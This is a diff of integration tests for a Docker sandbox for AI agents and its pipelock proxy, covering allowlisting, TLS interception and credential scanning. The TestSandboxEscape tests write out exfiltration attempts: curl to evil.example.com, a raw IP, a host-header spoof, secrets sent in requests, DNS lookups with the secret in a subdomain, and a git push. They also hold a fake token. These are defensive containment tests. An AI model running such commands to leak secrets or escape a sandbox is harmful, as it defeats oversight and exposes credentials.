            f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
        )
        # 200 from the upstream (pipelock forwarded after the body
        # scan passed). If curl had failed the bumped-cert trust
        # check, the exit code or status would be non-200 here.
        self.assertIn(
            "status=200", result.stdout,
            f"expected 200 from raw.githubusercontent.com; got: {result.stdout!r}",
        )
        # The git README is ~3 KB. Anything substantially non-zero
        # proves the response body actually transferred — i.e. the
        # CONNECT tunnel + bumped TLS + body forwarding all worked.
        self.assertNotIn(
            "len=0\n", result.stdout,
            f"response body was empty: {result.stdout!r}",
        )
 if __name__ == "__main__":
    unittest.main()
@@ -0,0 +1,210 @@
 """Integration: drive `apply_allowlist_change` against a real
 pipelock sidecar (PRD 0015).
 Brings up a real pipelock container via direct `docker run` (the
 old `.start()` helper went away in PRD 0024 chunk 3), calls
 apply_allowlist_change to swap the api_allowlist, restarts
 pipelock, and verifies the running container now serves the new
 yaml.
 The hot-reload code path under test (apply_allowlist_change,
 fetch_current_yaml, fetch_current_allowlist) is unchanged from
 PRD 0015 — only the test's bringup helper moved.
 Setup uses pipelock_tls_init which bind-mounts a host path into a
 one-shot pipelock container — that doesn't work in DinD, so the
 test skips under GITEA_ACTIONS.
 """
 from __future__ import annotations
 import os
 import shutil
 import subprocess
 import tempfile
 import time
 import unittest
 from pathlib import Path
 from bot_bottle.backend.docker.bottle_state import pipelock_state_dir
 from bot_bottle.backend.docker.network import (
    network_create_egress,
    network_create_internal,
    network_remove,
 )
 from bot_bottle.backend.docker.pipelock import (
    PIPELOCK_CA_CERT_IN_CONTAINER,
    PIPELOCK_CA_KEY_IN_CONTAINER,
    pipelock_tls_init,
 )
 from bot_bottle.pipelock import PipelockProxy
 from bot_bottle.backend.docker.pipelock_apply import (
    PipelockApplyError,
    apply_allowlist_change,
    fetch_current_allowlist,
    fetch_current_yaml,
 )
 from bot_bottle.backend.docker.sidecar_bundle import (
    SIDECAR_BUNDLE_IMAGE,
    sidecar_bundle_container_name,
 )
 from bot_bottle.yaml_subset import parse_yaml_subset
 from tests._docker import skip_unless_docker
 from tests.fixtures import fixture_minimal
@skip_unless_docker()
@unittest.skipIf(
    os.environ.get("GITEA_ACTIONS") == "true",
    "skipped under act_runner: pipelock_tls_init uses a host bind mount "
    "that doesn't share fs with the runner container",
 )
 class TestPipelockApply(unittest.TestCase):
    def setUp(self):
        self.slug = f"cb-test-pla-{os.getpid()}-{int(time.time())}"
        self.sidecar_name = ""
        self.internal_net = ""
        self.egress_net = ""
        self.work_dir = Path(tempfile.mkdtemp(prefix="pipelock-apply."))
    def tearDown(self):
        if self.sidecar_name:
            subprocess.run(
                ["docker", "rm", "-f", self.sidecar_name],
                stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False,
            )
        for n in (self.internal_net, self.egress_net):
            if n:
                network_remove(n)
        shutil.rmtree(self.work_dir, ignore_errors=True)
        # Clean up the per-slug state dir under ~/.bot-bottle/state/
        # (apply_allowlist_change writes there; _bring_up calls
        # proxy.prepare with the same path so the bind-mount and the
        # hot-reload write target stay coherent).
        shutil.rmtree(pipelock_state_dir(self.slug), ignore_errors=True)
    def _bring_up(self) -> None:
        """Brings up the bundle image with only the pipelock daemon
        selected. The bundle's Python supervisor is PID 1, which is
        what apply_allowlist_change targets via `docker kill
        --signal USR1` — pipelock alone as PID 1 wouldn't survive
        SIGUSR1 (default disposition = terminate). This shape is
        what runs in production minus the other three daemons.
        The yaml stages into the production-real
        `pipelock_state_dir(slug)` (not a private temp dir) so the
        bind-mount target matches what `apply_allowlist_change`
        writes to — otherwise the hot-reload would write to a
        nowhere-mounted host path and the container would never see
        the updated config."""
        state_dir = pipelock_state_dir(self.slug)
        state_dir.mkdir(parents=True, exist_ok=True)
        prep = PipelockProxy().prepare(
            fixture_minimal().bottles["dev"], self.slug, state_dir,
        )
        self.internal_net = network_create_internal(self.slug)
        self.egress_net = network_create_egress(self.slug)
        ca_cert_host, ca_key_host = pipelock_tls_init(state_dir)
        # Ensure the bundle image is built. compose normally builds
        # this lazily; we go through `docker run` here so we have to
        # do it ourselves. Idempotent — cached layers make repeats
        # fast.
        repo_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))
        subprocess.run(
            ["docker", "build",
             "-t", SIDECAR_BUNDLE_IMAGE,
             "-f", "Dockerfile.sidecars", "."],
            cwd=repo_root, check=True, capture_output=True,
        )
        self.sidecar_name = sidecar_bundle_container_name(self.slug)
        subprocess.run(
            ["docker", "create",
             "--name", self.sidecar_name,
             "--network", self.internal_net,
             "-e", "BOT_BOTTLE_SIDECAR_DAEMONS=pipelock",
             "-v", f"{prep.yaml_path}:/etc/pipelock.yaml:ro",
             "-v", f"{ca_cert_host}:{PIPELOCK_CA_CERT_IN_CONTAINER}:ro",
             "-v", f"{ca_key_host}:{PIPELOCK_CA_KEY_IN_CONTAINER}:ro",
             SIDECAR_BUNDLE_IMAGE],
            check=True, capture_output=True,
        )
        subprocess.run(
            ["docker", "network", "connect", self.egress_net, self.sidecar_name],
            check=True, capture_output=True,
        )
        subprocess.run(
            ["docker", "start", self.sidecar_name],
            check=True, capture_output=True,
        )
        # Wait until fetch_current_yaml succeeds — it's a docker cp
        # which works on a started-but-not-yet-ready pipelock, so
        # this is more of a "container exists" probe than a
        # readiness one; the hot-reload tests below tolerate
        # pipelock briefly being slow to serve.
        deadline = time.monotonic() + 15.0
        while time.monotonic() < deadline:
            try:
                fetch_current_yaml(self.slug)
                return
            except PipelockApplyError:
                pass
            time.sleep(0.25)
        raise AssertionError("pipelock sidecar never became reachable")
    def _wait_for_yaml(self, contains: str, *, deadline_s: float = 15.0) -> str:
        """Poll docker exec until /etc/pipelock.yaml contains `contains`,
        returning the yaml. Used to bridge the docker-restart window."""
        deadline = time.monotonic() + deadline_s
        while time.monotonic() < deadline:
            try:
                yaml = fetch_current_yaml(self.slug)
                if contains in yaml:
                    return yaml
            except PipelockApplyError:
                pass
            time.sleep(0.25)
        self.fail(f"never saw {contains!r} in /etc/pipelock.yaml")
    def test_apply_swaps_api_allowlist(self):
        self._bring_up()
        initial_yaml = fetch_current_yaml(self.slug)
        # fixture_minimal yields the baked-in DEFAULT_ALLOWLIST in
        # pipelock.py; api.anthropic.com is in there.
        self.assertIn("api.anthropic.com", initial_yaml)
        new_content = "api.anthropic.com\nnew-host.example\n"
        before, after = apply_allowlist_change(self.slug, new_content)
        self.assertIn("api.anthropic.com", before)
        self.assertNotIn("new-host.example", before)
        self.assertIn("new-host.example", after)
        updated = self._wait_for_yaml("new-host.example")
        cfg = parse_yaml_subset(updated)
        self.assertIn("new-host.example", cfg["api_allowlist"])  # type: ignore[operator]
        self.assertIn("api.anthropic.com", cfg["api_allowlist"])  # type: ignore[operator]
        # tls_interception block (set up by the production prepare
        # via pipelock_build_config) is preserved across the swap.
        self.assertIn("tls_interception", cfg)
    def test_apply_with_invalid_host_raises(self):
        self._bring_up()
        with self.assertRaises(PipelockApplyError):
            apply_allowlist_change(self.slug, "host with space.example\n")
    def test_fetch_current_allowlist_renders_one_per_line(self):
        self._bring_up()
        listing = fetch_current_allowlist(self.slug)
        self.assertTrue(listing.endswith("\n"))
        self.assertIn("api.anthropic.com\n", listing)
    def test_apply_against_missing_sidecar_raises(self):
        # Don't bring up — the slug points at nothing.
        with self.assertRaises(PipelockApplyError):
            apply_allowlist_change(self.slug, "x.example\n")
 if __name__ == "__main__":
    unittest.main()
@@ -0,0 +1,114 @@
 """Integration: a Node script run inside a launched bottle, hitting
 a host outside the pipelock allowlist, is blocked.
 End-to-end: drives `BottleBackend.prepare → launch` so the real
 image build, network plumbing, and pipelock sidecar are all in the
 loop. Inside the bottle, a Node script forms an HTTP forward-proxy
 request (absolute-URI path) to `example.com` via `$HTTPS_PROXY`. The
 fixture's effective allowlist contains only the baked-in defaults,
 so pipelock must refuse to forward.
 """
 from __future__ import annotations
 import os
 import shutil
 import tempfile
 import unittest
 from pathlib import Path
 from bot_bottle.backend import BottleSpec, get_bottle_backend
 from tests._docker import skip_unless_docker
 from tests.fixtures import fixture_minimal
 # Node's stdlib http does not respect HTTPS_PROXY on its own; this
 # script builds the forward-proxy request shape by hand so the test
 # is asserting on pipelock's allowlist decision, not on whatever
 # proxy-env auto-detection a Node release happens to ship.
 #
 # Output contract (parsed by the test):
 #   - "status=<code>" when the proxy returns an HTTP response
 #   - "error=<code> <message>" on a transport-level failure
 #   - "timeout" on a hung request
 _PROBE_JS = r"""
 const http = require('http');
 const proxy = new URL(process.env.HTTPS_PROXY);
 const req = http.request({
  host: proxy.hostname,
  port: proxy.port,
  method: 'GET',
  path: 'http://example.com/',
  headers: { Host: 'example.com' },
 }, (res) => {
  res.resume();
  res.on('end', () => {
    console.log('status=' + res.statusCode);
    process.exit(0);
  });
 });
 req.on('error', (e) => {
  console.log('error=' + (e.code || '') + ' ' + e.message);
  process.exit(0);
 });
 req.setTimeout(5000, () => {
  console.log('timeout');
  req.destroy();
 });
 req.end();
 """
@skip_unless_docker()
 class TestPipelockBlocksNode(unittest.TestCase):
    @unittest.skipIf(
        os.environ.get("GITEA_ACTIONS") == "true",
        "skipped under act_runner: docker socket mount topology breaks "
        "in-process visibility of networks created on the host daemon",
    )
    def test_node_request_to_blocked_host_is_rejected(self):
        backend = get_bottle_backend()
        stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
        try:
            spec = BottleSpec(
                manifest=fixture_minimal(),
                agent_name="demo",
                copy_cwd=False,
                user_cwd=str(stage_dir),
            )
            plan = backend.prepare(spec, stage_dir=stage_dir)
            with backend.launch(plan) as bottle:
                script = (
                    "set -e\n"
                    "cat > /tmp/probe.js <<'PROBE_EOF'\n"
                    f"{_PROBE_JS}\n"
                    "PROBE_EOF\n"
                    "node /tmp/probe.js\n"
                )
                result = bottle.exec(script)
        finally:
            shutil.rmtree(stage_dir, ignore_errors=True)
        self.assertEqual(
            0, result.returncode,
            f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
        )
        # The probe always prints exactly one signal line. If it
        # doesn't, the script failed in a way the test doesn't
        # understand and the surrounding assertions would be
        # ambiguous.
        self.assertTrue(
            "status=" in result.stdout or "error=" in result.stdout or "timeout" in result.stdout,
            f"probe produced no recognized output: {result.stdout!r}",
        )
        # The core invariant: example.com is NOT in fixture_minimal's
        # effective allowlist (only the baked-in defaults), so the
        # proxy must not have forwarded a successful response.
        self.assertNotIn(
            "status=200", result.stdout,
            "example.com is outside the allowlist; pipelock should not have forwarded a 200",
        )
 if __name__ == "__main__":
    unittest.main()
@@ -0,0 +1,101 @@
 """Integration: with pipelock's tls_interception enabled (PRD 0006),
 a credential POST sent over HTTPS is blocked by pipelock's body-scan
 layer — closing the gap that motivated this PRD.
 End-to-end: drives `BottleBackend.prepare → launch` so the real
 image build, network plumbing, pipelock_tls_init, sidecar bring-up,
 and provision_ca (CA install in the agent's trust store) are all in
 the loop. The probe is a single `curl --proxy "$HTTPS_PROXY" -X POST
 ... https://raw.githubusercontent.com/...` — curl natively does
 CONNECT through the proxy, the agent's trust store now contains
 pipelock's per-bottle CA so curl trusts pipelock's bumped leaf, and
 pipelock sees the decrypted body and returns its known
 `blocked: request body contains secret: <pattern>` 403.
 The host has to be allowlisted (so the CONNECT is accepted) but must
 not opt into `pipelock.tls_passthrough` (so the body actually gets
 scanned). This probe targets `raw.githubusercontent.com`, which is on
 the baked allowlist and intercepted+scanned like any non-passthrough
 host."""
 from __future__ import annotations
 import os
 import shutil
 import tempfile
 import unittest
 from pathlib import Path
 from bot_bottle.backend import BottleSpec, get_bottle_backend
 from bot_bottle.manifest import Manifest
 from tests._docker import skip_unless_docker
 # Synthetic value shaped like a GitHub Personal Access Token; not a
 # real credential. Carried into the bottle as an env var so the
 # probe shell can read it via $FAKE_TOKEN without ever interpolating
 # the value on the bash `bottle.exec` argv.
 _FAKE_TOKEN = "ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ"
@skip_unless_docker()
 class TestPipelockBlocksSecretHttpsPost(unittest.TestCase):
    @unittest.skipIf(
        os.environ.get("GITEA_ACTIONS") == "true",
        "skipped under act_runner: docker socket mount topology breaks "
        "in-process visibility of networks created on the host daemon",
    )
    def test_https_post_with_credential_body_is_blocked(self):
        manifest = Manifest.from_json_obj({
            "bottles": {
                "dev": {"env": {"FAKE_TOKEN": _FAKE_TOKEN}},
            },
            "agents": {
                "demo": {"skills": [], "prompt": "", "bottle": "dev"},
            },
        })
        backend = get_bottle_backend()
        stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
        try:
            spec = BottleSpec(
                manifest=manifest,
                agent_name="demo",
                copy_cwd=False,
                user_cwd=str(stage_dir),
            )
            plan = backend.prepare(spec, stage_dir=stage_dir)
            with backend.launch(plan) as bottle:
                script = (
                    "set -eu\n"
                    'curl --proxy "$HTTPS_PROXY" -s --max-time 8 \\\n'
                    "  -w 'status=%{http_code}\\n' \\\n"
                    "  -o /tmp/probe-body.txt \\\n"
                    '  -X POST -d "token=$FAKE_TOKEN" \\\n'
                    "  https://raw.githubusercontent.com/dlp-probe\n"
                    'echo "body=$(head -c 200 /tmp/probe-body.txt)"\n'
                )
                result = bottle.exec(script)
        finally:
            shutil.rmtree(stage_dir, ignore_errors=True)
        self.assertEqual(
            0, result.returncode,
            f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
        )
        # Pipelock's body-scan block returns 403 with a plain-text
        # body starting `blocked: ` (pinned empirically; see
        # tests/unit/test_mitmproxy_verdict.py for the
        # corresponding-fingerprint test, retained from PR #8 as
        # general pipelock-block-shape coverage).
        self.assertIn(
            "status=403", result.stdout,
            f"expected 403 from pipelock; got: {result.stdout!r}",
        )
        self.assertIn(
            "body=blocked: ", result.stdout,
            f"expected pipelock block body; got: {result.stdout!r}",
        )
 if __name__ == "__main__":
    unittest.main()
@@ -0,0 +1,132 @@
 """Integration: pipelock blocks a POST whose body carries a
 recognized credential pattern, even when the host is on the
 allowlist.
 End-to-end companion to the block / allow node tests. The manifest
 carries a literal env var whose value matches pipelock's DLP rules.
 A Node script POSTs that value to an allowlisted host via plain
 HTTP forward proxy (absolute-URI form) so pipelock can scan the
 body — routing the same request over CONNECT would tunnel TLS
 opaquely and the DLP layer would have nothing to see. The 403
 return from pipelock isolates the body-scan layer as the active
 control, distinct from the host-allowlist decision the other two
 tests pin down.
 """
 from __future__ import annotations
 import os
 import shutil
 import tempfile
 import unittest
 from pathlib import Path
 from bot_bottle.backend import BottleSpec, get_bottle_backend
 from bot_bottle.manifest import Manifest
 from tests._docker import skip_unless_docker
 # Synthetic value shaped like a GitHub Personal Access Token
 # (`ghp_` + 36 alnum chars). Not a real token; the only relevant
 # property is that pipelock's default DLP rules recognize the
 # shape. Kept obviously dummy so a stray grep can't mistake it
 # for a real credential.
 _FAKE_TOKEN = "ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ"
 # Output contract (parsed by the test):
 #   - "status=<code>"   proxy answered with an HTTP response
 #   - "error=<code> <message>"  transport-level failure
 #   - "timeout"         request hung
 _PROBE_JS = r"""
 const http = require('http');
 const proxy = new URL(process.env.HTTPS_PROXY);
 const body = 'token=' + process.env.FAKE_TOKEN;
 const req = http.request({
  host: proxy.hostname,
  port: proxy.port,
  method: 'POST',
  // Absolute-URI form: pipelock acts as a plain HTTP forward proxy
  // and the body is visible to its DLP scanner. CONNECT would
  // tunnel TLS bytes that pipelock can't see into.
  path: 'http://api.anthropic.com/dlp-probe',
  headers: {
    Host: 'api.anthropic.com',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': Buffer.byteLength(body),
  },
 }, (res) => {
  res.resume();
  res.on('end', () => {
    console.log('status=' + res.statusCode);
    process.exit(0);
  });
 });
 req.on('error', (e) => {
  console.log('error=' + (e.code || '') + ' ' + e.message);
  process.exit(0);
 });
 req.setTimeout(5000, () => {
  console.log('timeout');
  req.destroy();
 });
 req.write(body);
 req.end();
 """
@skip_unless_docker()
 class TestPipelockBlocksSecretPost(unittest.TestCase):
    @unittest.skipIf(
        os.environ.get("GITEA_ACTIONS") == "true",
        "skipped under act_runner: docker socket mount topology breaks "
        "in-process visibility of networks created on the host daemon",
    )
    def test_post_with_credential_body_is_blocked(self):
        manifest = Manifest.from_json_obj({
            "bottles": {
                "dev": {"env": {"FAKE_TOKEN": _FAKE_TOKEN}},
            },
            "agents": {
                "demo": {"skills": [], "prompt": "", "bottle": "dev"},
            },
        })
        backend = get_bottle_backend()
        stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
        try:
            spec = BottleSpec(
                manifest=manifest,
                agent_name="demo",
                copy_cwd=False,
                user_cwd=str(stage_dir),
            )
            plan = backend.prepare(spec, stage_dir=stage_dir)
            with backend.launch(plan) as bottle:
                script = (
                    "set -e\n"
                    "cat > /tmp/probe.js <<'PROBE_EOF'\n"
                    f"{_PROBE_JS}\n"
                    "PROBE_EOF\n"
                    "node /tmp/probe.js\n"
                )
                result = bottle.exec(script)
        finally:
            shutil.rmtree(stage_dir, ignore_errors=True)
        self.assertEqual(
            0, result.returncode,
            f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
        )
        # api.anthropic.com is on the baked-in allowlist, so the
        # host-allowlist layer would have let this through. Pipelock's
        # DLP body-scan layer must catch the credential pattern and
        # answer 403; any other code means the body reached the
        # upstream.
        self.assertIn(
            "status=403", result.stdout,
            f"pipelock DLP should have blocked the credential POST; got: {result.stdout!r}",
        )
 if __name__ == "__main__":
    unittest.main()
@@ -0,0 +1,107 @@
 """Integration: route-owned `pipelock.tls_passthrough` renders into
 pipelock's `tls_interception.passthrough_domains`, so request bodies
 that would otherwise trip the body-scan layer are not inspected and the
 request reaches the provider TLS endpoint.
 Probe: POST the canonical zero-entropy 12-word BIP-39 mnemonic
 (`abandon` × 11 + `about`) — checksum-valid by construction — to
 `https://api.anthropic.com/v1/messages`. With the route policy,
 pipelock relays the CONNECT opaquely and the upstream replies with
 whatever it likes (401/4xx from Anthropic for an unauthenticated junk
 POST). We assert that the verdict is NOT pipelock's block.
 """
 from __future__ import annotations
 import os
 import shutil
 import tempfile
 import unittest
 from pathlib import Path
 from bot_bottle.backend import BottleSpec, get_bottle_backend
 from bot_bottle.manifest import Manifest
 from tests._docker import skip_unless_docker
 # Canonical BIP-39 12-word test mnemonic. Valid SHA-256 checksum —
 # pipelock's seed-phrase scanner (default `verify_checksum: true`)
 # fires on this exact string if it ever sees the cleartext body.
 _BIP39_PHRASE = (
    "abandon abandon abandon abandon abandon abandon "
    "abandon abandon abandon abandon abandon about"
 )
@skip_unless_docker()
 class TestPipelockLlmPassthrough(unittest.TestCase):
    @unittest.skipIf(
        os.environ.get("GITEA_ACTIONS") == "true",
        "skipped under act_runner: docker socket mount topology breaks "
        "in-process visibility of networks created on the host daemon",
    )
    def test_bip39_body_to_anthropic_is_not_blocked(self):
        manifest = Manifest.from_json_obj({
            "bottles": {
                "dev": {
                    "env": {"SEED": _BIP39_PHRASE},
                    "egress": {"routes": [{
                        "host": "api.anthropic.com",
                        "pipelock": {"tls_passthrough": True},
                    }]},
                },
            },
            "agents": {
                "demo": {"skills": [], "prompt": "", "bottle": "dev"},
            },
        })
        backend = get_bottle_backend()
        stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
        try:
            spec = BottleSpec(
                manifest=manifest,
                agent_name="demo",
                copy_cwd=False,
                user_cwd=str(stage_dir),
            )
            plan = backend.prepare(spec, stage_dir=stage_dir)
            with backend.launch(plan) as bottle:
                script = (
                    "set -eu\n"
                    'curl --proxy "$HTTPS_PROXY" -s --max-time 10 \\\n'
                    "  -w 'status=%{http_code}\\n' \\\n"
                    "  -o /tmp/probe-body.txt \\\n"
                    '  -X POST -H "content-type: application/json" \\\n'
                    '  --data "{\\"phrase\\": \\"$SEED\\"}" \\\n'
                    "  https://api.anthropic.com/v1/messages\n"
                    'echo "body=$(head -c 200 /tmp/probe-body.txt)"\n'
                )
                result = bottle.exec(script)
        finally:
            shutil.rmtree(stage_dir, ignore_errors=True)
        self.assertEqual(
            0, result.returncode,
            f"exec wrapper failed: stdout={result.stdout!r} "
            f"stderr={result.stderr!r}",
        )
        # The pipelock block verdict starts with `blocked: ` in the
        # body. Anything else (auth error, 401, 4xx from Anthropic) is
        # an acceptable outcome — it means the body was NOT inspected
        # by the proxy and the request was relayed to the upstream
        # TLS endpoint.
        self.assertNotIn(
            "body=blocked: ", result.stdout,
            f"unexpected pipelock body-scan block on api.anthropic.com; "
            f"expected passthrough to skip MITM. got: {result.stdout!r}",
        )
        self.assertNotIn(
            "BIP-39", result.stdout,
            f"BIP-39 verdict should never appear for api.anthropic.com "
            f"requests under tls_interception.passthrough_domains; "
            f"got: {result.stdout!r}",
        )
 if __name__ == "__main__":
    unittest.main()
@@ -53,7 +53,7 @@ _FAKE_SECRETS = {
@skip_unless_docker()
@unittest.skipIf(
    os.environ.get("GITEA_ACTIONS") == "true",
-    "skipped under act_runner: egress_tls_init uses a host bind mount "
+    "skipped under act_runner: pipelock_tls_init uses a host bind mount "
    "the runner container can't see, and the network topology hides "
    "sibling-sidecar visibility — same constraint as the other "
    "bottle-bringup integration tests",
@@ -195,10 +195,10 @@ class TestSandboxEscape(unittest.TestCase):
            except BaseException:
                pass
            cls._identity = ""
-        if cls._stage_dir is not None:  # type: ignore
+        if cls._stage_dir is not None:
            shutil.rmtree(cls._stage_dir, ignore_errors=True)
            cls._stage_dir = None  # type: ignore[assignment]
-        if cls._key_path is not None:  # type: ignore
+        if cls._key_path is not None:
            try:
                cls._key_path.unlink()
            except OSError:
@@ -212,7 +212,7 @@ class TestSandboxEscape(unittest.TestCase):
        `bottle.egress.routes` (only api.anthropic.com is). Pipelock
        or egress should reject the request with a non-200 response,
        and the actual upstream's content must not appear in stdout."""
-        r = self._bottle.exec(  # type: ignore
+        r = self._bottle.exec(
            'curl --silent --show-error --max-time 8 --fail '
            'https://evil.example.com/'
        )
@@ -232,7 +232,7 @@ class TestSandboxEscape(unittest.TestCase):
              hostname to a non-allowlisted IP. Pipelock should
              not honor the spoof (it does its own resolution)."""
        with self.subTest(attack="direct IP"):
-            r = self._bottle.exec(  # type: ignore
+            r = self._bottle.exec(
                'curl --silent --show-error --max-time 8 --fail '
                'https://198.51.100.1/'
            )
@@ -243,7 +243,7 @@ class TestSandboxEscape(unittest.TestCase):
            )
        with self.subTest(attack="host-header spoof"):
-            r = self._bottle.exec(  # type: ignore
+            r = self._bottle.exec(
                'curl --silent --show-error --max-time 8 --fail '
                '--resolve api.anthropic.com:443:198.51.100.1 '
                'https://api.anthropic.com/'
@@ -256,19 +256,22 @@ class TestSandboxEscape(unittest.TestCase):
    # ---- attack 3: HTTP exfil shapes ---------------------------------
-    # Sandbox-block signature: egress returns HTTP 403 on policy
+    # Sandbox-block signature: pipelock / egress return HTTP 403 on
-    # reject; the response body carries a recognizable marker.
+    # policy reject; the response body carries a recognizable
-    # Egress's reject message starts with `"egress: host '...'
+    # marker. Egress's reject message starts `"egress: host '...'
-    # is not in the bottle's egress.routes allowlist"`.
+    # is not in the bottle's egress.routes allowlist"`; pipelock's
-    _SANDBOX_BLOCK_MARKERS = ("egress:", "blocked:")
+    # DLP rejects start `"blocked: "` (e.g.
    # `"blocked: DLP match: Anthropic API Key (critical)"`,
    # `"blocked: request body contains secret"`).
    _SANDBOX_BLOCK_MARKERS = ("egress:", "pipelock", "blocked:")
-    def _assert_sandbox_block(self, label: str, r: object) -> None:  # type: ignore
+    def _assert_sandbox_block(self, label: str, r) -> None:
        """A real sandbox block produces an HTTP 403 with a
        recognizable sandbox sidecar marker in the body. ANY
        other outcome (200 from upstream, 401/404 from upstream,
        non-marker 5xx) means the request escaped — the secret
        reached the network."""
-        body_and_code = (r.stdout or "").strip()  # type: ignore
+        body_and_code = (r.stdout or "").strip()
        # The curl invocation appends `\nHTTP_CODE:%{http_code}` so
        # we can disambiguate. Split that off.
        http_code = ""
@@ -278,24 +281,25 @@ class TestSandboxEscape(unittest.TestCase):
            body, _, http_code = body_and_code.rpartition(marker)
            http_code = http_code.strip()
            body = body.rstrip()
-        haystack = (body + " " + (r.stderr or "")).lower()  # type: ignore
+        haystack = (body + " " + (r.stderr or "")).lower()
        has_marker = any(m in haystack for m in self._SANDBOX_BLOCK_MARKERS)
        self.assertTrue(
            has_marker and http_code == "403",
            f"{label}: expected a sandbox-level block (HTTP 403 with "
-            f"egress marker), got HTTP {http_code!r}. "
+            f"egress/pipelock marker), got HTTP {http_code!r}. "
            f"If the response came from the actual upstream, the "
            f"secret REACHED the network — that's the leak this "
            f"test exists to catch. body={body!r} "
-            f"stderr={(r.stderr or '').strip()!r}",  # type: ignore
+            f"stderr={(r.stderr or '').strip()!r}",
        )
    def test_3_http_exfil_blocked(self) -> None:
        """The agent tries to leak `$TEST_SECRET_ANTHROPIC` to an
        ALLOWLISTED destination (api.anthropic.com) via four
        different request shapes. Each must be blocked by a
-        sandbox layer (egress allowlist filter) — producing an
+        sandbox layer (pipelock DLP / egress filter / etc.) —
-        HTTP 403 with an `egress:` marker in the response body.
+        producing an HTTP 403 with an `egress:` or `pipelock`
        marker in the response body.
        Anything else means the request reached upstream and the
        secret leaked, even if the upstream responded with its
@@ -306,10 +310,10 @@ class TestSandboxEscape(unittest.TestCase):
        remediation lands as its own PRD before this test merges.
        DON'T mark expectedFailure to silence it.
-        Destination note: we use `raw.githubusercontent.com`, which
+        Destination note: we use `raw.githubusercontent.com`, one
-        is not in the bottle's egress.routes allowlist, so egress
+        of the DEFAULT_ALLOWLIST hosts. It is not route-configured
-        blocks every request to it regardless of the secret's
+        for pipelock TLS passthrough, so pipelock MITMs it and the
-        location in the request."""
+        DLP scan applies, which is what this attack exercises."""
        # Capture HTTP code via curl's -w; don't use --fail so
        # we get the response body even on 4xx.
        url_base = "https://raw.githubusercontent.com"
@@ -339,29 +343,29 @@ class TestSandboxEscape(unittest.TestCase):
                f'-H "X-Custom: $TEST_SECRET_ANTHROPIC"',
            ),
        ]
-        for name, cmd in shapes:  # type: ignore
+        for name, cmd in shapes:
            with self.subTest(shape=name):
-                r = self._bottle.exec(cmd)  # type: ignore
+                r = self._bottle.exec(cmd)
                self._assert_sandbox_block(name, r)
    # ---- attack 4: DNS exfil -----------------------------------------
    def test_4_dns_exfil_blocked(self) -> None:
        """Two sub-attacks against DNS:
-          4a — crafted subdomain attack. The hostname
+          4a — crafted subdomain that pipelock would resolve. The
-              `<SECRET>.api.anthropic.com` looks "under" the
+              hostname `<SECRET>.api.anthropic.com` looks "under"
-              allowlisted apex but egress's allowlist is
+              the allowlisted apex but pipelock's allowlist is
-              exact-match — it rejects the host before issuing
+              exact-match — it should reject the host BEFORE
-              a DNS query, so the secret never reaches an
+              issuing the DNS query, so the secret never reaches
-              external resolver.
+              an external resolver.
-          4b — direct DNS query bypassing egress entirely. The
+          4b — direct DNS query bypassing pipelock entirely. The
              agent's internal network has no default gateway;
              even an explicit resolver like 8.8.8.8 should be
              unreachable. Confirms the network isolation is
              intact (PRD 0022 Q2)."""
        with self.subTest(attack="crafted subdomain"):
-            r = self._bottle.exec(  # type: ignore
+            r = self._bottle.exec(
                'curl --silent --show-error --max-time 8 --fail '
                '"https://$TEST_SECRET_GENERIC.api.anthropic.com/"'
            )
@@ -375,7 +379,7 @@ class TestSandboxEscape(unittest.TestCase):
            # `+short +tries=1 +time=3`: no debug output, one attempt,
            # 3s timeout. Outside the internal network has no path;
            # dig should fail or return empty.
-            r = self._bottle.exec(  # type: ignore
+            r = self._bottle.exec(
                'dig +short +tries=1 +time=3 @8.8.8.8 '
                '"$TEST_SECRET_GENERIC.example.com" '
                '; echo "EXIT=$?"'
@@ -427,7 +431,7 @@ class TestSandboxEscape(unittest.TestCase):
            with self.subTest(secret=name):
                # Fresh repo per shape so prior commits don't
                # confuse gitleaks's diff. -rm -rf is best-effort.
-                script = (  # type: ignore
+                script = (
                    'set -eu\n'
                    'cd /tmp\n'
                    'rm -rf sandbox-escape-repo\n'
@@ -442,8 +446,8 @@ class TestSandboxEscape(unittest.TestCase):
                    f'git remote add origin {upstream_url}\n'
                    'git push origin HEAD:refs/heads/master 2>&1\n'
                )
-                r = self._bottle.exec(script)  # type: ignore
+                r = self._bottle.exec(script)
-                combined = (r.stderr + r.stdout).lower()  # type: ignore
+                combined = (r.stderr + r.stdout).lower()
                self.assertNotEqual(
                    0, r.returncode,
@@ -2,8 +2,8 @@
 Verifies that flipping `BOT_BOTTLE_SIDECAR_BUNDLE=1` produces a
 working bottle: `docker compose up` brings the agent + bundle pair
-online, the daemons inside the bundle bind their ports, and the
+online, the four daemons inside the bundle bind their ports, and
-agent can reach egress + supervise via the bundle's network
+the agent can reach pipelock + supervise via the bundle's network
 aliases (no agent-side config changes between flag positions).
 Skipped under GITEA_ACTIONS — the bundle image is a multi-stage
@@ -27,9 +27,11 @@ from tests._docker import skip_unless_docker
 def _manifest() -> Manifest:
-    """Bottle with supervise on so the bundle exercises egress +
+    """Bottle with supervise on so the bundle exercises three of
-    supervise. Git is off because a meaningful git-gate test needs
+    the four daemons (pipelock, egress, supervise). Git is off
-    a real upstream and SSH keys — out of scope for a bundle smoke."""
+    because a meaningful git-gate test needs a real upstream and
    SSH keys — out of scope for a bundle smoke. Egress is
    implicitly on as pipelock's upstream regardless of routes."""
    return Manifest.from_json_obj({
        "bottles": {
            "dev": {
@@ -66,16 +68,21 @@ class TestSidecarBundleCompose(unittest.TestCase):
                plan = backend.prepare(spec, stage_dir=stage_dir)
                with backend.launch(plan) as bottle:
                    # The agent's HTTPS_PROXY URL (resolved at
-                    # renderer-time) should reach egress inside
+                    # renderer-time, unchanged from the legacy
